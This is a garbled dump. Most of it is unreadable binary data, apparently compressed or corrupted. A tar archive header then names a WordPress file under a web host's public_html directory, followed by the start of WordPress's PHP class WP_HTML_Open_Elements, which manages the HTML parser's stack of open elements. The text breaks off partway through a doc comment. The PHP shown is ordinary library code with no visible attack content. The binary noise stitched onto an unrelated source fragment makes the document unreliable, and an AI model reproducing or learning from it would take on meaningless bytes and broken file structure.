�>�ývx8b�w�<LX����Xr�7�	/��d�U�M�dn��ǀOVc��+s�W�|7��Z���c��Q�<F���3�)�wfZ�+޻v��Y�]�np���e}?�߮�?��x^E[��>��xWއ�#��0McrYZh�M8̸4��*'�c�X�����v/�i�]�N���d�)(TO���n]��M%i���>_Mh�u�׬��M���*��Š��䎪��jo�PYI���'��s��&Q���;�D
i:�]�C�슾�^��?��l�z��I�&����=�;n���%�M7�����]zj@y�(�:�p�d-�(��,;��D�J�j_m-�=�\ߖUZ��;�>��l���-ٲݳrs3-f�V��"����<)���7޹.�n�OKAߕV]ʀz��J���y\����
FʬX� ~M)epOm���~k�5���d��j_���;C��`3dž��ҹ�Yh��h=�x�^Qu�
��(���6����E"0@6��(��8�s�C���ܟ�����=��Z{�rM��5OZ�w�K��W�X�P;g��;)�\߹]g�f�2{�rv:m�_����o�r�ѽ�~�BM>v�\��X��9��1F^�`�?���β�w����1��\[k>e�o�^�ّeK��}kV��r��`���܅��&�Q�d
UJ ���(˶���
2�]�e��c��H�����=I��)zd�ptX�5�n
N�5:.L@
���{���A]\��m�� �����Q���r�R��U �=��Н�7O]�?xqt�3�_���"�~��;烃V��|px��y�:uM4Ee�ؘŧ�}�iw�<z�nes��9b�V��N&�m��e�:��Mg9+{�ǟ�N�4�����*�}��R�"y����VΨ�Q>_�]\�w��p��R��?<}ǧ�R#��$qR�പ��N#P���Y��Qh�����(D�s�xs9��NT�Q�e�2DZ6_�l#H������ZfΧ�*zҚ�e(5}yjKK7UXs|R�t�Ū7dA�ɝ�/Q�[C��r@�k3m�{� I#W��޵�av&⼆����a��`}��5�$�B��~���mg��'?�b��@m��14r�a@"	��3���6��~+�T�`�
�VK�~BĬ'�A��g�BK��^N�+:|��.\%�8��;��$�΢O�{<��pՏ
�I�M�b�je�zfv��mxb����v�:*�p��K'x6_����hR$:����J��0ygu9I���חʨr�#̒в͚��$��t�nZ��)H��%Bn��7$r���c��7��4q�L����Io*��%K���r%q��<����[�87V��Pf��o#@T�ݬ�^)��rzZ�_��c��n�B)���qw�\`�!w]��m��R�� ����x���}������	q�⋥
��ߚ5��eD�5�>F�>j�\�L�aς�
+A�R|(��
\�J	�{�X�)�?�(9P9�Y<�e_W�<,�	i~���͖6?f�}��r�h�=#�ߵ�y�P)җO�����o���!�6���2J��K��\⽖�VJ��^HJ��ni�8W؇9E�-��?#���,���r�����w.��;�Q���,$x䞺:��q�[ �R��ZiD/O�YQ1S#8H�B^)�TAg���'e2D�V��7����WCp8����ƎT��%7�宬[\K���u�����|��6��0.���¡�ؠ��8�9��`�+�,��n-���Z����jlS���}T�>�k�ky��Qg�����uq�X��b����խ��	n�Qc?�d�M��=i�-i�-y����p�+��l�x��ء~�.BL�_�H�/'r��Cv�
�y��ߐ���k5�|4�T�f�/{�hs�Ȣ?���E����˾f߼ߘ����*�Ǵi
Qq�o"A>8�w�����]9��:��R�
����ʂtAb�MRF�@���^L��:>ߧ��]�� v���n����I��'���}^$o���\�(Lc2���	`�*���b����������@��H,���Qd�.#ũ}N��`�G=}u�����9M
+���_�z7g��q��=�#\'�,�i�c���j�D�d���W�Qq����W���G�~��7f�4cjPM��ڶ_�C�C���ٹM����yC
��a �0��z_�*��O"�TG*i���n:�i����e�u��]�ѻJ�Zz���$s��V�l/S���v6��5;Mu{��h8 ��f���&"��
%U�H��0)���7\&�Ar�WɎ�MOM���#[��a6d&<F$�F8�%���"'J%FI���ӤU�VI��R����<�<�'�s�E(~�e"X���e����߼�
��\��k�E#���'1A.N�#�Ȕ�`��q��_��ob�O�#�]%�}���~ܾw���|Ař�+�� ��4�K����
ܚ�.ۄD��S
�~���C}�T(�=q���%��G��+��k�7�T3���c�gx�ţ�����W8�)�WU��	c4�����&�Z���3Нכ�$U���F:����{�#-�f1%Xo�I�D�N�7g�JW<���}iW	���:���&�M����
8�Ӣ>rt���^�>wj�_���~����\ɫBI��n���a����hυ��Q�k��=�sN�r>o��^}�����?�r������|�W�B��_��s�vڇ�#�óY�r�����:>q7���{x�Bh�}��qӭv�99�M>j�sz�<�w��X���{��.������n�W��h�[�P-=�-y�l�
n���!\^)S�S�ٵ�
�WtY�%EWt!x���Z_D�D�?Y�!�'��{l��6���Ш��L��-Y1�oP��:���o�H�y��16\RG&Scy'��U!�Kj�X@�~��k�� ���s����K:���QtSH{��av�A���e�Q�"\�(�Z`ZQ_�,kF�����EP����ܕ� ǾT������λn�~J�E�v�u(yA�t�I&s5-�/u�+�����M+�!*���T4�Tg=�Fy.#C�it�&C
3��w�I�z��6�œ!�x�*G&�/�L�it~�+�p?���g܈~�zSiD(�����@@k��Qm	Ǔ.���5�QWΨK�PnQRF�,��[��'k�KX�0�?�N׵ÕQ5l�$�Mm�KL�&|-}s5�;� ���;7kӪˎU��U[u��|M�zYG�%�	B��ҚI2�6s��lM!��/�$�|s��V�CXl���MDz����n���&(M���wR^�P�r�&�3"z�)VB�pm�
�������jd�1m (����p��p�����y5�xW髕?^��n���y��qV�8gX}���\(�J��Ҿ?y�Q*������H�Ș����ԬHc�?��i7�Y��a�ц�ں��G'-z�|�2S��j���;{����;5c�\�쥠w����h>3���㜆�q|�JkB�K�R�X����J^	^���.�ك��kɑ��y�0RC}�1����%��pԥ*�+�����[	N�~�b��,�g��J���E�%�@�.��M�F���g-{�R���u3��W5r��K�D�|U��ď.����cU�k��[u}�s�YX'h*Hr�L}]��H2DL%��cҮG��n�-I�p�ѐt�i`��Rl�G��t�m;�-��m����[�0�6�)*�(IgA�*��mms#0�6��n��)/M4kRhQ Z��Z$̢}�������`���:�v�X�9��5rPV��SM��͛�F>NnE���7��dI2�&�=F���k�!�;IzajE�)o.G�Q�V[��]G��/ *o�J�`�"\[yD�6�!��ph��$4����DP0�D�}�]�_o>N"v�J���uPy`��'8��GŐ�\x�t�+ҡ
�(h���5t	��~e��!�lpª&�z�|r��$f$~�4�-�RĐ��T���{|�y.��+1A��Lu��8�L�1Z''G'��_w[���^���W .G�4O�;%̧����{GQT
�Ʃ�kV5wٯ�_Jf��m6��H�a:x/H�\��*_c+�	����z�k�{:K)�\�_��3���:8� m~
��av�ܮo�6�qN/�N��l0FQ�Y��+�#z�2��#TW^P 8��~h���
-]{b��)��	��V�yY�F�Ԍu�Os�0ә�z@]C�z���&m)� v�io�
;���NS�G����DfF��4�qOcC6���;��5^��q���T8n�:���K��Cx����`�g��b�0�a�pǞ��7�=���6v:���-�x�/Y"�,��1AD��Xg<R��~���'%�,@Ulc&X��|RJ�}4��+5IU��F;t�P�2]�s|�/3��\��F���o�1�i�K�ʺ�����o�I6E�K�YWR��QCY�9מf?3(�q����J�z��]NWp�Qf��*�Ug��ý�?}��H�eq����˖�߫��Y�r���Y�vq���e
�6r�ɐy�q���s�m�����a��~HM�#ˠ��icX�I���0�ĀM@�8j������$qߌ�I,�E4�$��q��
@
�ðA@�i��*a�[���2�]L
kE`x-|��L0�3��ƥ�0�{B@�O?��ȡ�`+��=�OC�z�{�>��R
�.M���I���фSKa)�|}ݏ�F<�Ӿ/Q��(��l>{�o���i@���i��.�3��B�‚\�)Q�2q�(�T��#�~�Y���Q_��.O*�Nb�J�}^��9��*��}+��&F%�*d
��a@�",[�]�h&��_�;: ��M8�F@�2�����?N��L�5W��S`�a�S����u�2�u���g����,��Y��X��3\�������6��Fp��(Md	�Yݦz�I%OQň�#� ��Im�E�q����I�B���lʷHj�j� !g�̴D1ᠢI1WU�3G&pe�fd���Q�}#�F,����� �d�&�̣����'S8B��LP��\y���03���3�sػ���g���1��ՐK?���˽b"8�s��,�T��W���mRڋD��\P�-�=�=�=#��-��7Pt_�V1rZ7�\���,a�
'��`ZS>4G-9���o�9�o�s؈{G�my���)E;�g��K����C�}��W��pop�}{���b>��A1pb-�`�����������ȩ^pDq�>�����}ѿB~�
t�8ٓ�4?pȯv%!@��3�G�4	A*��d�@*�&������V`��E�q��^n�x��E>��_�����892s�'����<3���?>�Ʉ�Ԛ��)|�>�Z��Uv
_�F8ϲķ��=j�U�/��hu-�u%�Z&Ұ4���,ӡ�
f	�
��	sn8z�l�s�f����,��lV����~ an�! b��6��/���,(�_��>�B1	҆���da��Z�[2U���a�I6�E4P�w��O�(�hU+�h�8T��᫒G������6}Tw�I�5��Ip�Mpw7�� �G@�%�!��*jm���U*
4GW�)��ݯ�q��XG�q7XKUhG:�s�gC{Z�&r,���=,�P�zI��3p�o���[_���^��`r�,bljs�v�hM�Ġ@ϧ�ӶTr&��z*��<�I�����!�'���Bͽ�:/���B�IE�����ݺ�	|ă��_�/ՏP��e�T��ixq�&�ѳ
~�?�77v�7�&�4w��Z=�Y�**S9A=�R�\y�@�d������b�)9y�DqΉ�Y�/:�I[��O�^��?�$�S�6b?��<ɋ��Y�}��i����.%�S��5)�e��s�X�7]�j
��T&�%\�>1W46P$�JR�y�����tt�O��%��-)M ��ٮ���DK����c�i���)�nS8��D[p��L;��t$�"wt.�ɗ��=L%:R��'R���	,mj��Z���ݹkQ�㠶u�u�w�11Jλ߸ӂ�e��_{8�]
0��/��l6y���f#ZX��+P�)d�2�YYO�_ֵ�+�~;N�Q
��1�2U��3�zɤ�ə� d�	��L�`8MAy�ސe+�n2�t�5�d$��8s_֮dƎ8B]��O��@�C� dg4$��H�5�v����D��!���B? �Ad�u��Ii�k���\�����ų�2(-A	�j�Pi��*��p?{&�F������A�ëhK|�ԧ_n�i/�y�*�;r���?p}�(-�%@���K��tU	z�v���g�8����̥<��@MM34����!r����+�����2�b
&.����"��ND�
����/ST�T�q��\��3��L���/�f[+,2��3�s�n�ǥ׹� K�U�,�!2w�\�3���� {��-S�=�T�,3���S�Am��t�jR��#�p��-i��gYDՔR���	�G����I>�`?ITP$����SB�d�������f�=�ŕ
h�Fg��&g%H����E.�X�%����Uic�����Ɓj�A���#)lL��se��ŢG,J�+���R�7�
�Ma��.���U������ {]]���
���>���Ri��ʭ�'��cB���`<9��A���4��
6෶�h���Y����`�Oa�;�L4�X�xP�YĢ�f�\a�7U�؏��s�&���mP�  N��i���2[��^��2� �L�P9T���Ԅ�kWy8!_;FaI���`ڗhbJ<:�`�sI�ؔ�Eb�D��)"\���:=)�<����ي]���5�W����.sQ]j�H&��S�t�L�Q�S8GHEI�\�OQ4ﲤV{��~��H�
�x5OZM�$d/a8b� �9��e<��M vJ]]���U�����;Y���K�l������b.�QQQ
�-��@X�`�av�I��‹�ƊاT~��mF��.�%Y��M��E=@5?�pS
~�O�a�y�i�a��#z��qqT��R�N\u%ը�r:CVi�ō�V�0�$�iO"]ԇ��O���>�L"+���[NJ��@����c1�'���ש��'i$a�6HDt~�x��d�(��̰��j:'��g�ij:sK�ǯ�%�C2b�5(P���߸��Lɂ������89��3v��;D��|~rv��[ww�贵ו�*ޠp����w��w��'ۇ��#{]������q�����y���Š�!;�sXT�va��r:H��5=�����)/
�@0�M��4�r���G�J%n��a"&2sd�?��$J=��	+wes���f�?���_��os��ƢLh"+'79�Jh�����_���n��:(�2��.е)Np�A=�9�:�sz���˕!&v9|�F��]-�	'PR�Z�L��}Jį�aKAd+kA��Ht.���Y<���.��qIU����Ƌ��*.���}���աUԁ&"ƣK,��>���E!�<���a0��q�\ӆb��D�᪁���!���Wc����tG��%*j$'�$�>�ra�c:+���8��h����p^jW��Zs���c&�W�=�H�/�	�+O�P��^wTT}�@�y1���Tgs��T)_d<�J���#V�YI
�Z�.�� �!��x滸T^�l��/�ZYɉ7]�±T-�`��4�}��4J*){W�@�>\W>��Y�c'�oHn��HZ����35'��4O��n	$f�
�E�-�
b�X2�]5)TR~ۡ�h��	�7�̅k�
� (b<�f���x��S�[#���2�Ŝ���:���c�6��\C�"%]��Ǿt�4�����=���g�J���Aa����"Қ�X�s�19Z�>c�	���(��Q���d��&��Yo��0x�Ǡw��y��o�v��?N�A�$eK�&�х��"��zב��w�vqc$(,4�
�3v��?	�c��x8�Rn��E�f�R>�q%�׶R��DJd/������*{�3W���:a*'���(��#�~�M���]F0�C��a�5�"�Qo�U��L��GO�چ��Q���W��
Ĝ��Vnba59M�@��I��Is���=��$�����|Xώ�ͮKc#X
N+���k� ��^���Co:��k�#�	�R��X�-���)k�=g&DU��f��S>u�t.���75��:L����AK�G�&�ZU�VBF����P3��D�-[f`��Zo!b�:���m0���'q}6Y�ܛ(U��Q�5xd��i|���=T��/b�'H��΋w�-EĊ�
�#m����4l�
����CRgə�fƠ��e<��aYZ7)�H�F��c8�L����c~h�In1��4�L��U�oD\	�J�8	�lr�&w��V1WQ
������sܷ�(�R�D���-ԙR�(ɘm�"�{�-��k��7��Q!H��[/��Ȯ���̩
Ȍy�=�������M"`��u��1)��1D	"eP�e��s.�
�"�=4DC�L�,��ȉ�4�@�D\�|�D����tz�bt��`L����T��~��g�(b��I�r�i�ayަ�q�6����s��]�UoG���X��_�W�p6Ө��ީ\�rL�J*d3�Ϫ����b�<q�M�]�U�����V(�I�4+�]�5��w��Ji"+5^��HEεu饢�L�/����W�����r�i��p�0x\�ɛHNT�����Ȯ��A(O�M���[M��Q�G1I��A����z���*���p�7UfG�
� 'ap�2�� c�R�1�A2rRI�M8�i1ڥ�
���c�:�Np �1��^M�I��>�>��/�.��)�^��K1�]{���2޷������[�)�<�����.��b��ǟk~�&�z
�[H�.7@�Iy���J�E즃�B�:޵/�wͻ99��[�L�S^QB���l�[���p�dZi���]Mn�茕�ЈB"�U��n��l	U��x� s�TW�oD"(Gߖ�/��	�x>�Ӟ�8
�5-��_F��AE[��0֐���U��<�BlU޲��:�@
��}9����.��_�ܬ������7�m>o=m'��/��*�����2}ۮ�����>]gB
Q�=6`Sr��Hj����?�pW�J�i�5��JF��q&Ώ"��t�����YA�FryIUh���*��/�'�*f���h��ͺ��I2�WR1n
)T,e��t��:�B<*��F����
^����MJ�{�un�Ȅx��]�ވ��8ם��_�N'@��	��M��������[���-z��r
�����(�{��F�����/�Ց' ;�-�:?-T�R��"�����?�Y~|S-��䁮ʹ�I�y_r�h)�E<�3j����
n)ƾH�4ǽ�^/i�!+R�E�8��@�ѩx/��=�<�;G������$��I$�l����	7~�zq	#N:A�O��U��-� ���(�8q{�тBN����<�V"�D
d�7�`�?�)p�E>��ţ�}��vI����y|���³��s�sΡqUרE䤚x'"�Cc�<k�dş[���y[1�h�i�E?��aK^�L+:3�M��/���h�ߞM<�Y�d3���%J[�6Ѓ��Z�(���A&)��D��Y��1��c,1KʑK�Z��c�DvcsMo�͢\�$�')�,��v�9���I|%�UdQEcl��h���-��s������:
��N�MΥ�	���Bu5I������ہ�x�v�i12�LDG���EV}sew�C��2����u�)"��Px�R��#�*���`D� �����}� iIJ����_�N��n�X䎣��&
pl��",�ɳ��)�-?:c"`x�/��:�����RU�٠b�t)0�&>�����7�
�X������> 3Z��C�ђ/��Px�De
��$(������;����Ł�'g���:�M�9n���02~�ˆ�C�' DJr����[�D�Z���4j������n�%S.}�(a�}ϟ�l��4��{�q��s*��u��;X?��������wηT��OO�}iD���E5E	�FO�^�T�ލj���
���N���{����#p�\#h_��=W��,��K>�n�uo��.[��݃V���^�[������&"���X���׾���c�99��tK�ň;w��D�Q%w�h�-�Ug&sl�^��]�|�XF�|b��-Dd�A�pexf�`����e������c)��\�!g��bezrp����u��Mb�H6��~Q�����z#S�.8(D?�s�h�Er?%)�6�
_�/Ov��Xw�����_��3v}u1�8�ja�������%�y�mq��­�t>��UӼ
Rg>�������q{����o�ZxC�o��X�.��N�{�٢dz����T��A|�R,����Ih�+����´K�Ǝ��9{5 �9�j�
R����k{�D���CM�̟�C�C}x�\��?��_v�7	w%]X�`���̪o_�4~Q�bI��l(��j��.�R��U�ث����(�˴mt��U��*�s_�5^�+��e�#�I	��Vi��(2⓲��Zs)9p?��?���0�:�,�O�H-U]��`��\�>�!�����r�Е��~��br�v���{z�7�^�Da������H=�y��F��E����_�%�þ-�
���R���.נ���R=KU8�ѻtB��Tk�b���y���:��MP�n��gL�I��+V0΂�6��?z±�س�����л5s�=�!�]]��p|���KO��;g]�F�ž��[g���z��1�}|�@�\0K�FX��EK�l6�b�.� �^}��;V�U��
zם���S�E���Q��}��W�–��G���x�.��C��Q'��-l�U�f�aMR�=�cu�pU�PEv��G�0[ذ/t�*�1��}g�.\bU�(��S��pA���iM��ś£��$�TɡR��@���i��|��Oz~O�O���0�I{neU��fZfd��+�v[Hש�]��StC���k��0I1��Q�*��(���S��H�����d�d���yq�ۡ6���n�>��S駕�Y	.�h����s�Gk���
���i7(V1k�3�$L��o$"=�!m�͢�2�����A#�K�:1W��ޜJ��@U4o�,̓ȡ�G��p�QN�f�^YB����0�'��=�?�҃\��.-�OnF�mT�-͝h����`&�%��zDC��,�슁����̂.=UQT�[�dg�Y�?n�$w��B0"ͮ�u�S�'��CISί�WJܳem|#~���:M�V�����)�Kys�ySA�ՁG(�$��T��L+t8�����d/�C%�L��������	��pG@d��ԆO�z:=�6�b$�U�ߊ-�n��3��_��	��D�S�K�s��s��2��$��|���c���MD�%���'MU�."��@5�>e5l�P�U�*��G׉��\��06P�Yt�_�|�����Ʃ��MT�h��69ߜ��ɩiuѭ�nПa��`��A���E��\�Q�w�tݸk*h[���5>tի����K�WM[���3p�7A=�
�qOߊ{�Ͱ�c��
���f�நp�s���"���C��������_0O�|r�t�ߔ���j�ir&l������d�n����܍|S�'f�����?랈��.PZ�!���D��TP6����PS`w�G�/��FC����ٓ��?_͸��۱���:��lD����&N�s��U�M�3In6L]���Ӊژ������O����52-9�r��e�d�{0�p(4ž�2dw�
��'d_���%��6��ōs�"���])�1k���b� �g���<�OW�d:^m��`:h�(�7�h���K�g���=7���`n�̋b�5_���³n-�,@+��ô)hcH��䤙�����di�𣙛�eqs��.ρK�*B��&�{�����u�-�cqˈ-�w�ø[W�=�Y�>��C����f���PP�țL<{��y�:m�gU�g�IA��N��Z����
j�s��)����T�WѹW�d_�M G�c�tNIV1��|4�s冹(�!�w����W���o�F��N�(���=���[/�NZ6u��K!�����h1�# ��6���E��x
{�$��='z{n��O	.D X�ʼn��<��������t1| �[5�O���\ꗘ���.���/�qC�U�*i<�1��r�4P��V1BU/����XpN�/p_<���Ϋ�z�(U\[]In���7�yN3F@��>�,��![���m��=��o
H��v&"�|pa�/��9+X>�Ϣ�K���l�$���#�郌�l�c%8�;����c��?�2�}�|v��[�)�ѓ+16����
�h�I]D�M��X���S�L4;�����@z��] ����i~��Q�+G?o��5k����_�َ�{���U�-���E*}ۿ.z���=��cvp�g��r%D�`�
�qD̍��Fo_p��
W�R�=�!q��d.���=WX'�6��
\�|侱����=W�%>3"b	� W$�Hb��S@u�7B��8�����;�j�0�'%D�r+gl�4D-n~ڃGg��r;��+�DU<��H�5��mn�;���v�P�3�Lɘ�ff��tuft���Pm��K���.�ޗ��������_]g*qS�
Ō�.�\�8�Ԓ��d�g;o�E��V�eߡ�IN���~R�u�9�jxC���QzT�]
��.�g3��b�/�
\461W�Y�+�����Q��i�E�e�+�p=L)���2%�$3l�#������!�{(�C�gE,⨗�n����ޫCYc���Q�.7�%x6��+�Z�,��
T���I�'R�\��_�W&V��M�/s��mPT2�0�0���j�U�7��f�ARE�d�c�p
n��rA9z��VL�KUDӛϧbVJt?�%7X-�X���V���lٌ������fk�J���S�;V5�)�>��a.`3��6�]�;:�z3���b�}�9;,����J"%9�#%
J�1�sM�ŒL邀,ǭ�́�h��� ��\/!�ް�uW�y9���.��D��Hr��J���+�g&!�T�����22=�d��w;]!��	'���Za��m5�E4B�p�⫑�m��)8�"���S��֖����(��<!j⡓���{n�<�:��e�V8G0�|�ja׫���H5x��kЯ5���Ql�� �]�+�c�(��nA���	��|W5JP�?�0���Qpٔ^�[�+"$�#�iZ��"I3�9��JTU!���0�����7��_9�j��T샃��9��\�C���R>�>F6za~[��DHj�U{��5�_�-��C+/�'�S�!��~T�+7��U���E�$��䙘KŁ��붱��5ͪ�����#Źl(+����X^��*�_�v�-j�
Жj�!��>��i-�eP�ԡ��㶊��ei������<����	!�kŌ��H�e�d���w� b�+Y��j��%�O�����uF1��/��8Tq�ey��J��0���Yց�G���&�K���D�̺�%E:\]�h��6u�,��vBS�jt��$x/�A��ʭ�,i�\��b3��F7��F~�fkyX)�f��0�@�9�H?\��/ə2Vn�o��T�'�~l�� ���i�R:X
�k�/�I�0���=L3m�x��1y����ЩS	�U4G�B�!�6��H>���Aȓ�Y�*��k����Ӱ�7|u^�2s�bn��2�8�V��N�Zecܷ��p���6�fs�nDT�JR�܏��N��r�ꞔ��ZsU�UsS����Q��e_��}�-�s���g��ƥ8<R��(|ȕsC����eI_7r	��e��U��:h!��#*9�84]�8�|u��X�/IEcU>�A$��P�4t�(�O���S�����(jg��)��صF�#�oy�N'�x���au�w�D[��8��:����O�s�+O��—	���s�Գ�뾞k��o����Z����z���d헇G�s�J�;��⥾��K��!��<<<�4�:��PE=|���q9����H9u�@uA�z�&,���K��ź,U��t�
�����c��zP��̮�~F|��gj���n���E���=���V��j��R�-2X��\5ro[�꘬�(�2���m�J
�= ���ak�C���Q��1�(��jJ̥]�"���L'��?�0z���ar�����U7��*-�ӥ��"������v@�Xip�U����y(t�T
�XGlT�Ӿt��#����څ̭�i&�����D�g��t���v�˧����ڪ`�<�%SPi'Σ�bQ|�&���|��o��37=�l���6��78~[���{{'��2I�y|��*!���I�Y�U��[ ����^�wϛ�U_�8:,���Gg�{e���~����N)t��/��싳N�L<T)Y%߶;�2��G���p���뽲��:�~�1��f���웲)�P��y�l~/ڭ���RT{�~Y����I��bj`�^�?(�
S��+��/ʾ���?�}�U�_�}�M���S�U���¹W�oar���v�ֶ^�}sx|V��ߵ���U��eZ�~��үN;�ò�4ۥza��/g�����J����f�=<<��W�G���_����J"��Ҩ2D9n�Tʾۇ������]���V�d�U闻E*P�|ytv�[:���JY����G��͒�*T���}�
_��S��9��仲]�T���+##���n�=+�Jy�_|��_����	�;�"�����2�[�Z�mٝ�o+�=���Vt��K^(�A�L_ϡ�s%�p��eN�A�
Vf�������w�hQX.BL����1�D��!]����KSP�4�a���_�Nz��~b���b��~�^XO�G�7�ыBv�p��J�H3� |�dsfk98�2g.���!��������"M��Sy���/3��p	��2�B@�+E�
ѥTZ�L���+$�
y��W/2p%��"�E��!./#���6+2�(��XET&&�~ԡ��R�V���U���[�}F��Y�E��<[��F뛚�à6�.����F�=�g�
�=r;�O�H�Οj���{t	��3�n�"�W<�4��t6�
���Ј�阃n~�I�g�B�!E��ߖ�X��ul�Æ^�~�[�s2�tJ���Z��Ctȏ�Q��W_���
iM�7�;P�PBl��1
j�4�v��<��2��M���
$����;W,�-� 0I�'n�	X�rJ�)�����n��+��pM���:e/q�*��e�:`�߳�_�}�цp�(1��W��A�0�g������+�nu>!��RP���
�T��gn
�`0 -'\�Um�Ud=Ж�x0�X׺��L��y��V�9�~:�Ѡ���.�v��/� �P���Dž/
 r���ط�6��9��y@���u����,M�p�����`��(��ö�⾼�r��T5��,�ڋ��������Mn���./w��g�놿	'��ra(�)8>9�m��vA����+@8���z�ʉ�-v:�I���%율�a�:�+9i��잝���r���+�ɬ��	�WS�8�e\g�Ϛq&�u,�
��vC�

`4�t�Ӎ�,�J�������������I���s�[b������#�Sk�Y
B�f�i�u���k�u��>?:��y��)�	;�`���0���c��坍(c�GN \�
;�ʺ:�L�R�o�FbQ����T�e4�V�޶�u���"\4"z�@Y�J�$���9���$Mc�Z�%bWf���֔�Lpj-��2�v@�,��3�u���&>ؑ�!9*#����M��u{I	��(~R���rp�:o��P_:g�{tx�99��
�G��+��,�6��ꪚ$�Tr������%�c	�y{�|�������ϲ?�?���HPKE�N\��U�^^#class-wp-html-open-elements.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-open-elements.php000064400000053716151440301130023526 0ustar00<?php
/**
 * HTML API: WP_HTML_Open_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of open elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the stack of open elements is empty. The stack grows
 * > downwards; the topmost node on the stack is the first one added
 * > to the stack, and the bottommost node of the stack is the most
 * > recently added node in the stack (notwithstanding when the stack
 * > is manipulated in a random access fashion as part of the handling
 * > for misnested tags).
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#stack-of-open-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Open_Elements {
	/**
	 * Holds the stack of open element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	public $stack = array();

	/**
	 * Whether a P element is in button scope currently.
	 *
	 * This class optimizes scope lookup by pre-calculating
	 * this value when elements are added and removed to the
	 * stack of open elements which might change its value.
	 * This avoids frequent iteration over the stack.
	 *
	 * @since 6.4.0
	 *
	 * @var bool
	 */
	private $has_p_in_button_scope = false;

	/**
	 * A function that will be called when an item is popped off the stack of open elements.
	 *
	 * The function will be called with the popped item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $pop_handler = null;

	/**
	 * A function that will be called when an item is pushed onto the stack of open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $push_handler = null;

	/**
	 * Sets a pop handler that will be called when an item is popped off the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_pop_handler( Closure $handler ): void {
		$this->pop_handler = $handler;
	}

	/**
	 * Sets a push handler that will be called when an item is pushed onto the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_push_handler( Closure $handler ): void {
		$this->push_handler = $handler;
	}

	/**
	 * Returns the name of the node at the nth position on the stack
	 * of open elements, or `null` if no such position exists.
	 *
	 * Note that this uses a 1-based index, which represents the
	 * "nth item" on the stack, counting from the top, where the
	 * top-most element is the 1st, the second is the 2nd, etc...
	 *
	 * @since 6.7.0
	 *
	 * @param int $nth Retrieve the nth item on the stack, with 1 being
	 *                 the top element, 2 being the second, etc...
	 * @return WP_HTML_Token|null Name of the node on the stack at the given location,
	 *                            or `null` if the location isn't on the stack.
	 */
	public function at( int $nth ): ?WP_HTML_Token {
		foreach ( $this->walk_down() as $item ) {
			if ( 0 === --$nth ) {
				return $item;
			}
		}

		return null;
	}

	/**
	 * Reports if a node of a given name is in the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string $node_name Name of node for which to check.
	 * @return bool Whether a node of the given name is in the stack of open elements.
	 */
	public function contains( string $node_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $node_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Reports if a specific node is in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of open elements.
	 */
	public function contains_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $token === $item ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of open elements.
	 */
	public function count(): int {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of open elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of open elements, if one exists, otherwise null.
	 */
	public function current_node(): ?WP_HTML_Token {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Indicates if the current node is of a given type or name.
	 *
	 * It's possible to pass either a node type or a node name to this function.
	 * In the case there is no current element it will always return `false`.
	 *
	 * Example:
	 *
	 *     // Is the current node a text node?
	 *     $stack->current_node_is( '#text' );
	 *
	 *     // Is the current node a DIV element?
	 *     $stack->current_node_is( 'DIV' );
	 *
	 *     // Is the current node any element/tag?
	 *     $stack->current_node_is( '#tag' );
	 *
	 * @see WP_HTML_Tag_Processor::get_token_type
	 * @see WP_HTML_Tag_Processor::get_token_name
	 *
	 * @since 6.7.0
	 *
	 * @access private
	 *
	 * @param string $identity Check if the current node has this name or type (depending on what is provided).
	 * @return bool Whether there is a current element that matches the given identity, whether a token name or type.
	 */
	public function current_node_is( string $identity ): bool {
		$current_node = end( $this->stack );
		if ( false === $current_node ) {
			return false;
		}

		$current_node_name = $current_node->node_name;

		return (
			$current_node_name === $identity ||
			( '#doctype' === $identity && 'html' === $current_node_name ) ||
			( '#tag' === $identity && ctype_upper( $current_node_name ) )
		);
	}

	/**
	 * Returns whether an element is in a specific scope.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#has-an-element-in-the-specific-scope
	 *
	 * @param string   $tag_name         Name of tag check.
	 * @param string[] $termination_list List of elements that terminate the search.
	 * @return bool Whether the element was found in a specific scope.
	 */
	public function has_element_in_specific_scope( string $tag_name, $termination_list ): bool {
		foreach ( $this->walk_up() as $node ) {
			$namespaced_name = 'html' === $node->namespace
				? $node->node_name
				: "{$node->namespace} {$node->node_name}";

			if ( $namespaced_name === $tag_name ) {
				return true;
			}

			if (
				'(internal: H1 through H6 - do not use)' === $tag_name &&
				in_array( $namespaced_name, array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ), true )
			) {
				return true;
			}

			if ( in_array( $namespaced_name, $termination_list, true ) ) {
				return false;
			}
		}

		return false;
	}

	/**
	 * Returns whether a particular element is in scope.
	 *
	 * > The stack of open elements is said to have a particular element in
	 * > scope when it has that element in the specific scope consisting of
	 * > the following element types:
	 * >
	 * >   - applet
	 * >   - caption
	 * >   - html
	 * >   - table
